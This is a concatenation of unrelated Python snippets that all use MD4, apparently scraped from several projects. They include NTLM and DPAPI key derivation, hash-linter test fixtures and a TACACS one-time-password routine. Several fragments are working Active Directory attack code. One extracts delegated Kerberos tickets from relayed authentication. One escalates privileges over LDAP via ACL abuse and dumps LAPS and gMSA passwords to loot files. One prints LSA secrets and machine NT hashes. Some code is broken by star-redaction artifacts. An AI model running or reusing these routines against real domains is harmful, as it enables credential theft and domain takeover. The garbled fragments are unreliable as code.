def deriveKeysFromUser(self, sid, password): # Will generate two keys, one with SHA1 and another with MD4 key1 = HMAC.new(SHA1.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest() key2 = HMAC.new(MD4.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest() # For Protected users tmpKey = pbkdf2_hmac('sha256', MD4.new(password.encode('utf-16le')).digest(), sid.encode('utf-16le'), 10000) tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid.encode('utf-16le'), 1)[:16] key3 = HMAC.new(tmpKey2, (sid + '\0').encode('utf-16le'), SHA1).digest()[:20] return key1, key2, key3
def master(master_key, sid, password): #master_key fp = open(master_key, 'rb') data = fp.read() mkf = MasterKeyFile(data) if DEBUG: mkf.dump() fp.close() data = data[len(mkf):] mk = MasterKey(data[:mkf['MasterKeyLen']]) # Will generate two keys, one with SHA1 and another with MD4 key1 = HMAC.new( SHA1.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest() key2 = HMAC.new( MD4.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest() # For Protected users tmpKey = pbkdf2_hmac('sha256', MD4.new(password.encode('utf-16le')).digest(), sid.encode('utf-16le'), 10000) tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid.encode('utf-16le'), 1)[:16] key3 = HMAC.new(tmpKey2, (sid + '\0').encode('utf-16le'), SHA1).digest()[:20] #/key1, key2, key3 = self.deriveKeysFromUser(self.options.sid, password) # if mkf['flags'] & 4 ? SHA1 : MD4 decryptedKey = mk.decrypt(key3) if decryptedKey: print('Decrypted key with User Key (MD4 protected)') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey decryptedKey = mk.decrypt(key2) if decryptedKey: print('Decrypted key with User Key (MD4)') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey decryptedKey = mk.decrypt(key1) if decryptedKey: print('Decrypted key with User Key (SHA1)') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey
def NTOWFv2(password, user, userdom): nt_passwd = password.encode("utf-16-le") nt_hash_passwd = MD4.new(nt_passwd).digest() nt_userdom = (user.upper() + userdom).encode("utf-16-le") return HMAC.new(nt_hash_passwd, nt_userdom, MD5).digest()
def generate_password(): characters = string.printable characters = characters[:-5] password_length = int(5 + 10 * random.random()) password = ''.join(random.choice(characters) for _ in range(password_length)) print("Generated password:"******"utf-8")).hexdigest() print("Hashed password:", hashed, '\n') return hashed
def deriveKeysFromUser(self, sid, password): # Will generate two keys, one with SHA1 and another with MD4 key1 = HMAC.new( SHA1.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest() key2 = HMAC.new( MD4.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest() return key1, key2
def compute_nthash(password): # This is done according to Samba's encryption specification (docs/html/ENCRYPTION.html) try: password = str(password).encode('utf_16le') except UnicodeDecodeError: import sys password = password.decode(sys.getfilesystemencoding()).encode('utf_16le') hash = MD4.new() hash.update(password) return hash.digest()
def compute_nthash(password): # This is done according to Samba's encryption specification (docs/html/ENCRYPTION.html) try: password = unicode(password).encode('utf_16le') except UnicodeDecodeError: import sys password = password.decode(sys.getfilesystemencoding()).encode('utf_16le') hash = MD4.new() hash.update(password) return hash.digest()
def ComputeResponsev1(NegFlg, ResponseKeyNT, ResponseKeyLM, ServerChallenge, ClientChallenge, Time=None, ServerName=None): if NegFlg & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY: NtChallengeResponse = DESL(ResponseKeyNT, MD5.new(ServerChallenge + \ ClientChallenge).digest()[:8]) LmChallengeResponse = ClientChallenge + "\0"*16 else: NtChallengeResponse = DESL(ResponseKeyNT, ServerChallenge) LmChallengeResponse = DESL(ResponseKeyLM, ServerChallenge) SessionBaseKey = MD4.new(ResponseKeyNT).digest() return NtChallengeResponse, LmChallengeResponse, SessionBaseKey
def pycrypto(): import Crypto from Crypto.Hash import MD2 from Crypto.Hash import MD4 from Crypto.Hash import MD5 from Crypto.Hash import SHA from Crypto.Hash import SHA224 from Crypto.Hash import SHA256 from Crypto.Hash import SHA384 from Crypto.Hash import SHA512 from Crypto.Hash import HMAC Crypto.Hash.MD2.new() # Noncompliant MD2.new() # Noncompliant MD4.new() # Noncompliant MD5.new() # Noncompliant SHA.new() # Noncompliant SHA224.new() # Noncompliant SHA256.new() # Noncompliant SHA384.new() # Noncompliant SHA512.new() # Noncompliant HMAC.new(b"\x00") # Noncompliant
def cryptodome(): import Cryptodome from Cryptodome.Hash import MD2 from Cryptodome.Hash import MD4 from Cryptodome.Hash import MD5 from Cryptodome.Hash import SHA1 from Cryptodome.Hash import SHA224 from Cryptodome.Hash import SHA256 from Cryptodome.Hash import SHA384 from Cryptodome.Hash import SHA512 from Cryptodome.Hash import HMAC Cryptodome.Hash.MD2.new() # Noncompliant MD2.new() # Noncompliant MD4.new() # Noncompliant MD5.new() # Noncompliant SHA1.new() # Noncompliant SHA224.new() # Noncompliant SHA256.new() # OK SHA384.new() # OK SHA512.new() # OK HMAC.new(b"\x00") # OK
def otp(password, seed, sequence): """ Calculates a one-time password hash using the given password, seed, and sequence number and returns it. Uses the MD4/sixword algorithm as supported by TACACS+ servers. :type password: str :param password: A password. :type seed: str :param seed: A cryptographic seed. :type sequence: int :param sequence: A sequence number. :rtype: string :return: A hash. """ if len(password) not in list(range(4, 64)): raise ValueError('passphrase length') if len(seed) not in list(range(1, 17)): raise ValueError('seed length') for x in seed: if not x in _VALIDSEEDCHARACTERS: raise ValueError('seed composition') if sequence < 0: raise ValueError('sequence') # Pycryptodome only supports byte strings. seed = seed.encode('utf-8') password = password.encode('utf-8') # Discard the first <sequence> keys thehash = MD4.new(seed + password).digest() thehash = _fold_md4_or_md5(thehash) for i in range(0, sequence): thehash = _fold_md4_or_md5(MD4.new(thehash).digest()) # Generate the result return _sixword_from_raw(thehash)
def ComputeResponsev1(NegFlg, ResponseKeyNT, ResponseKeyLM, ServerChallenge, ClientChallenge, Time=None, ServerName=None): if NegFlg & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY: NtChallengeResponse = DESL(ResponseKeyNT, MD5.new(ServerChallenge + \ ClientChallenge).digest()[:8]) LmChallengeResponse = ClientChallenge + "\0" * 16 else: NtChallengeResponse = DESL(ResponseKeyNT, ServerChallenge) LmChallengeResponse = DESL(ResponseKeyLM, ServerChallenge) SessionBaseKey = MD4.new(ResponseKeyNT).digest() return NtChallengeResponse, LmChallengeResponse, SessionBaseKey
def string_to_key(cls, string, salt, params): utf16string = string.encode('UTF-16LE') return Key(cls.enctype, MD4.new(utf16string).digest())
from Crypto.Hash import MD4 as pycrypto_md4 from Crypto.Hash import MD5 as pycrypto_md5 from Crypto.Hash import SHA as pycrypto_sha from Cryptodome.Hash import MD2 as pycryptodomex_md2 from Cryptodome.Hash import MD4 as pycryptodomex_md4 from Cryptodome.Hash import MD5 as pycryptodomex_md5 from Cryptodome.Hash import SHA as pycryptodomex_sha import hashlib hashlib.md5(1) hashlib.md5(1).hexdigest() abc = str.replace(hashlib.md5("1"), "###") print(hashlib.md5("1")) hashlib.sha1(1) pycrypto_md2.new() pycrypto_md4.new() pycrypto_md5.new() pycrypto_sha.new() pycryptodomex_md2.new() pycryptodomex_md4.new() pycryptodomex_md5.new() pycryptodomex_sha.new() hashes.MD5() hashes.SHA1()
def NTOWFv1(password): nt_passwd = password.encode("utf-16-le") return MD4.new(nt_passwd).digest()
from cryptography.hazmat.primitives import hashes from Crypto.Hash import MD2 as pycrypto_md2 from Crypto.Hash import MD4 as pycrypto_md4 from Crypto.Hash import MD5 as pycrypto_md5 from Cryptodome.Hash import MD2 as pycryptodomex_md2 from Cryptodome.Hash import MD4 as pycryptodomex_md4 from Cryptodome.Hash import MD5 as pycryptodomex_md5 import hashlib hashlib.md5(1) hashlib.md5(1).hexdigest() abc = str.replace(hashlib.md5("1"), "###") print(hashlib.md5("1")) pycrypto_md2.new() pycrypto_md4.new() pycrypto_md5.new() pycryptodomex_md2.new() pycryptodomex_md4.new() pycryptodomex_md5.new() hashes.MD5()
def get_kerberos_loot(token, options): from pyasn1 import debug # debug.setLogger(debug.Debug('all')) # Do we have a Krb ticket? blob = decoder.decode(token, asn1Spec=GSSAPIHeader_SPNEGO_Init())[0] # print str(blob) data = blob['innerContextToken']['negTokenInit']['mechToken'] try: payload = decoder.decode(data, asn1Spec=GSSAPIHeader_KRB5_AP_REQ())[0] except PyAsn1Error: raise Exception('Error obtaining Kerberos data') # print payload # It is an AP_REQ decodedTGS = payload['apReq'] # print decodedTGS # Get ticket data cipherText = decodedTGS['ticket']['enc-part']['cipher'] # Key Usage 2 # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or # application session key), encrypted with the service key # (section 5.4.2) newCipher = _enctype_table[int(decodedTGS['ticket']['enc-part']['etype'])] # Create decryption keys from specified Kerberos keys if options.hashes is not None: nthash = options.hashes.split(':')[1] else: nthash = '' aesKey = options.aeskey or '' allciphers = [ int(constants.EncryptionTypes.rc4_hmac.value), int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value) ] # Store Kerberos keys # TODO: get the salt from preauth info (requires us to send AS_REQs to the DC) keys = {} if nthash != '': keys[int(constants.EncryptionTypes.rc4_hmac.value)] = unhexlify(nthash) if aesKey != '': if len(aesKey) == 64: keys[int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value )] = unhexlify(aesKey) else: keys[int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value )] = unhexlify(aesKey) ekeys = {} for kt, key in keys.items(): ekeys[kt] = Key(kt, key) # Calculate Kerberos keys from specified password/salt if options.password and options.salt: for cipher in allciphers: if cipher == 23 and options.israwpassword: # RC4 calculation is done manually for raw passwords md4 = MD4.new() md4.update(options.password) ekeys[cipher] = Key(cipher, md4.digest()) else: # Do conversion magic for raw passwords if options.israwpassword: rawsecret = options.password.decode( 'utf-16-le', 'replace').encode('utf-8', 'replace') else: # If not raw, it was specified from the command line, assume it's not UTF-16 rawsecret = options.password ekeys[cipher] = string_to_key(cipher, rawsecret, options.salt) LOG.debug('Calculated type %d Kerberos key: %s', cipher, hexlify(ekeys[cipher].contents)) # Select the correct encryption key try: key = ekeys[decodedTGS['ticket']['enc-part']['etype']] # This raises a KeyError (pun intended) if our key is not found except KeyError: LOG.error( 'Could not find the correct encryption key! Ticket is encrypted with keytype %d, but keytype(s) %s were supplied', decodedTGS['ticket']['enc-part']['etype'], ', '.join([str(enctype) for enctype in ekeys.keys()])) return None # Recover plaintext info from ticket try: plainText = newCipher.decrypt(key, 2, cipherText) except InvalidChecksum: LOG.error( 'Ciphertext integrity failed. Most likely the account password or AES key is incorrect' ) if options.salt: LOG.info( 'You specified a salt manually. Make sure it has the correct case.' ) return LOG.debug('Ticket decrypt OK') encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] sessionKey = Key(encTicketPart['key']['keytype'], bytes(encTicketPart['key']['keyvalue'])) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) # print encTicketPart flags = encTicketPart['flags'].asBinary() # print flags # for flag in TicketFlags: # if flags[flag.value] == '1': # print flag # print flags[TicketFlags.ok_as_delegate.value] cipherText = decodedTGS['authenticator']['cipher'] newCipher = _enctype_table[int(decodedTGS['authenticator']['etype'])] # Recover plaintext info from authenticator plainText = newCipher.decrypt(sessionKey, 11, cipherText) authenticator = decoder.decode(plainText, asn1Spec=Authenticator())[0] # print authenticator # The checksum may contain the delegated ticket cksum = authenticator['cksum'] if cksum['cksumtype'] != 32771: raise Exception('Checksum is not KRB5 type: %d' % cksum['cksumtype']) # Checksum as in 4.1.1 [RFC4121] # Fields: # 0-3 Length of channel binding info (fixed at 16) # 4-19 channel binding info # 20-23 flags # 24-25 delegation option identifier # 26-27 length of deleg field # 28..(n-1) KRB_CRED message if deleg is used (n = length of deleg + 28) # n..last extensions flags = struct.unpack('<L', bytes(cksum['checksum'])[20:24])[0] # print flags if not flags & GSS_C_DELEG_FLAG: LOG.error('Delegate info not set, cannot extract ticket!') LOG.error( 'Make sure the account you use has unconstrained delegation rights' ) return dlen = struct.unpack('<H', bytes(cksum['checksum'])[26:28])[0] deldata = bytes(cksum['checksum'])[28:28 + dlen] creds = decoder.decode(deldata, asn1Spec=KRB_CRED())[0] # print creds subkey = Key(authenticator['subkey']['keytype'], bytes(authenticator['subkey']['keyvalue'])) newCipher = _enctype_table[int(creds['enc-part']['etype'])] plainText = newCipher.decrypt(sessionKey, 14, bytes(creds['enc-part']['cipher'])) # print plainText # Now we got the EncKrbCredPart enc_part = decoder.decode(plainText, asn1Spec=EncKrbCredPart())[0] for i, tinfo in enumerate(enc_part['ticket-info']): # This is what we are after :) username = '******'.join( [str(item) for item in tinfo['pname']['name-string']]) realm = str(tinfo['prealm']) fullname = '%s@%s' % (username, realm) sname = Principal( [str(item) for item in tinfo['sname']['name-string']]) LOG.info('Got ticket for %s [%s]', fullname, sname) ticket = creds['tickets'][i] filename = '%s_%s' % (fullname, sname) saveformat = options.format LOG.info('Saving ticket in %s.%s', filename, saveformat) ccache = KrbCredCCache() ccache.fromKrbCredTicket(ticket, tinfo) if saveformat == 'ccache': ccache.saveFile(filename + '.ccache') else: # Save as Kirbi oc = KRB_CRED() oc['tickets'].append(ticket) oc['enc-part']['etype'] = 0 new_enc_part = EncKrbCredPart() new_enc_part['ticket-info'].append(tinfo) oc['enc-part']['cipher'] = encoder.encode(new_enc_part) ocdata = encoder.encode(oc) with open(filename + '.kirbi', 'wb') as outfile: outfile.write(ocdata) data = { 'username': username, 'domain': realm, # We take it from the ccache since this already has a helper function to get # it in the right format. 'tgt': ccache.credentials[0].toTGT() } return data
def generateSessionKeyV1(password, lmhash, nthash): hash = MD4.new() hash.update(NTOWFv1(password, lmhash, nthash)) return hash.digest()
def deriveKeysFromUser(self, sid, password): # Will generate two keys, one with SHA1 and another with MD4 key1 = HMAC.new(SHA1.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest() key2 = HMAC.new(MD4.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest() return key1, key2
def format_managedpassword(raw_value): blob = MSDS_MANAGEDPASSWORD_BLOB() blob.fromString(raw_value) return binascii.hexlify(MD4.new(blob['CurrentPassword'][:-2]).digest()).decode('utf8')
def run(self): #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)') #print self.client.entries global dumpedDomain # Set up a default config domainDumpConfig = ldapdomaindump.domainDumpConfig() # Change the output directory to configured rootdir domainDumpConfig.basepath = self.config.lootdir # Create new dumper object domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig) if self.config.interactive: if self.tcp_shell is not None: LOG.info( 'Started interactive Ldap shell via TCP on 127.0.0.1:%d' % self.tcp_shell.port) # Start listening and launch interactive shell. self.tcp_shell.listen() ldap_shell = LdapShell(self.tcp_shell, domainDumper, self.client) ldap_shell.cmdloop() return # If specified validate the user's privileges. This might take a while on large domains but will # identify the proper containers for escalating via the different techniques. if self.config.validateprivs: LOG.info( 'Enumerating relayed user\'s privileges. This may take a while on large domains' ) userSid, privs = self.validatePrivileges(self.username, domainDumper) if privs['create']: LOG.info('User privileges found: Create user') if privs['escalateViaGroup']: name = privs['escalateGroup'].split(',')[0][3:] LOG.info( 'User privileges found: Adding user to a privileged group (%s)' % name) if privs['aclEscalate']: LOG.info('User privileges found: Modifying domain ACL') # If validation of privileges is not desired, we assumed that the user has permissions to escalate # an existing user via ACL attacks. else: LOG.info( 'Assuming relayed user has privileges to escalate a user via ACL attack' ) privs = dict() privs['create'] = False privs['aclEscalate'] = True privs['escalateViaGroup'] = False # We prefer ACL escalation since it is more quiet if self.config.aclattack and privs['aclEscalate']: LOG.debug('Performing ACL attack') if self.config.escalateuser: # We can escalate an existing user result = self.getUserInfo(domainDumper, self.config.escalateuser) # Unless that account does not exist of course if not result: LOG.error('Unable to escalate without a valid user.') else: userDn, userSid = result # Perform the ACL attack self.aclAttack(userDn, domainDumper) elif privs['create']: # Create a nice shiny new user for the escalation userDn = self.addUser(privs['createIn'], domainDumper) if not userDn: LOG.error('Unable to escalate without a valid user.') # Perform the ACL attack else: self.aclAttack(userDn, domainDumper) else: LOG.error('Cannot perform ACL escalation because we do not have create user '\ 'privileges. Specify a user to assign privileges to with --escalate-user') # If we can't ACL escalate, try adding us to a privileged group if self.config.addda and privs['escalateViaGroup']: LOG.debug('Performing Group attack') if self.config.escalateuser: # We can escalate an existing user result = self.getUserInfo(domainDumper, self.config.escalateuser) # Unless that account does not exist of course if not result: LOG.error('Unable to escalate without a valid user.') # Perform the Group attack else: userDn, userSid = result self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) elif privs['create']: # Create a nice shiny new user for the escalation userDn = self.addUser(privs['createIn'], domainDumper) if not userDn: LOG.error( 'Unable to escalate without a valid user, aborting.') # Perform the Group attack else: self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) else: LOG.error('Cannot perform ACL escalation because we do not have create user '\ 'privileges. Specify a user to assign privileges to with --escalate-user') # Dump LAPS Passwords if self.config.dumplaps: LOG.info("Attempting to dump LAPS passwords") success = self.client.search( domainDumper.root, '(&(objectCategory=computer))', search_scope=ldap3.SUBTREE, attributes=['DistinguishedName', 'ms-MCS-AdmPwd']) if success: fd = None filename = "laps-dump-" + self.username + "-" + str( random.randint(0, 99999)) count = 0 for entry in self.client.response: try: dn = "DN:" + entry['attributes']['distinguishedname'] passwd = "Password:"******"a+") count += 1 LOG.debug(dn) LOG.debug(passwd) fd.write(dn) fd.write("\n") fd.write(passwd) fd.write("\n") except: continue if fd is None: LOG.info( "The relayed user %s does not have permissions to read any LAPS passwords" % self.username) else: LOG.info( "Successfully dumped %d LAPS passwords through relayed account %s" % (count, self.username)) fd.close() #Dump gMSA Passwords if self.config.dumpgmsa: LOG.info("Attempting to dump gMSA passwords") success = self.client.search( domainDumper.root, '(&(ObjectClass=msDS-GroupManagedServiceAccount))', search_scope=ldap3.SUBTREE, attributes=['sAMAccountName', 'msDS-ManagedPassword']) if success: fd = None filename = "gmsa-dump-" + self.username + "-" + str( random.randint(0, 99999)) count = 0 for entry in self.client.response: try: sam = entry['attributes']['sAMAccountName'] data = entry['attributes']['msDS-ManagedPassword'] blob = MSDS_MANAGEDPASSWORD_BLOB() blob.fromString(data) hash = MD4.new() hash.update(blob['CurrentPassword'][:-2]) passwd = binascii.hexlify( hash.digest()).decode("utf-8") userpass = sam + ':::' + passwd LOG.info(userpass) count += 1 if fd is None: fd = open(filename, "a+") fd.write(userpass) fd.write("\n") except: continue if fd is None: LOG.info( "The relayed user %s does not have permissions to read any gMSA passwords" % self.username) else: LOG.info( "Successfully dumped %d gMSA passwords through relayed account %s" % (count, self.username)) fd.close() # Perform the Delegate attack if it is enabled and we relayed a computer account if self.config.delegateaccess and self.username[-1] == '$': self.delegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid) return # Add a new computer if that is requested # privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota if self.config.addcomputer: self.client.search(domainDumper.root, "(ObjectClass=domain)", attributes=['wellKnownObjects']) # Computer well-known GUID # https://social.technet.microsoft.com/Forums/windowsserver/en-US/d028952f-a25a-42e6-99c5-28beae2d3ac3/how-can-i-know-the-default-computer-container?forum=winservergen computerscontainer = [ entry.decode('utf-8').split(":")[-1] for entry in self.client.entries[0]["wellKnownObjects"] if b"AA312825768811D1ADED00C04FD8D5CD" in entry ][0] LOG.debug("Computer container is {}".format(computerscontainer)) self.addComputer(computerscontainer, domainDumper) return # Last attack, dump the domain if no special privileges are present if not dumpedDomain and self.config.dumpdomain: # Do this before the dump is complete because of the time this can take dumpedDomain = True LOG.info('Dumping domain info for first time') domainDumper.domainDump() LOG.info('Domain info dumped into lootdir!')
def __printSecret(self, name, secretItem): # Based on [MS-LSAD] section 3.1.1.4 # First off, let's discard NULL secrets. if len(secretItem) == 0: logger.debug('Discarding secret %s, NULL Data' % name) return # We might have secrets with zero if secretItem.startswith('\x00\x00'): logger.debug('Discarding secret %s, all zeros' % name) return upperName = name.upper() logger.info('%s ' % name) secret = '' if upperName.startswith('_SC_'): # Service name, a password might be there # Let's first try to decode the secret try: strDecoded = secretItem.decode('utf-16le') except: pass else: # We have to get the account the service # runs under account = self.get_service_account(name[4:]) if account is None: secret = '(Unknown User) ' else: secret = "%s " % account secret += strDecoded elif upperName.startswith('DEFAULTPASSWORD'): # defaults password for winloggeron # Let's first try to decode the secret try: strDecoded = secretItem.decode('utf-16le') except: pass else: # We have to get the account this password is for account = self.get_default_loggerin_account() if account is None: secret = '(Unknown User) ' else: secret = "%s " % account secret += strDecoded elif upperName.startswith('ASPNET_WP_PASSWORD'): try: strDecoded = secretItem.decode('utf-16le') except: pass else: secret = 'ASPNET %s' % strDecoded elif upperName.startswith('$MACHINE.ACC'): # Compute MD4 of the secret.. yes.. that is the nthash md4 = MD4.new() md4.update(secretItem) secret = "%s\\%s$:%s:%s:::" % ( DataStore.server_domain, DataStore.server_name, ntlm.LMOWFv1('', '').encode('hex'), md4.digest().encode('hex')) if secret != '': print secret self.__secretItems.append(secret) else: # Default print, hexdump self.__secretItems.append('%s %s' % (name, secretItem.encode('hex'))) hexdump(secretItem)
def encode_password(password): return MD4.new(password.encode("utf-8")).hexdigest()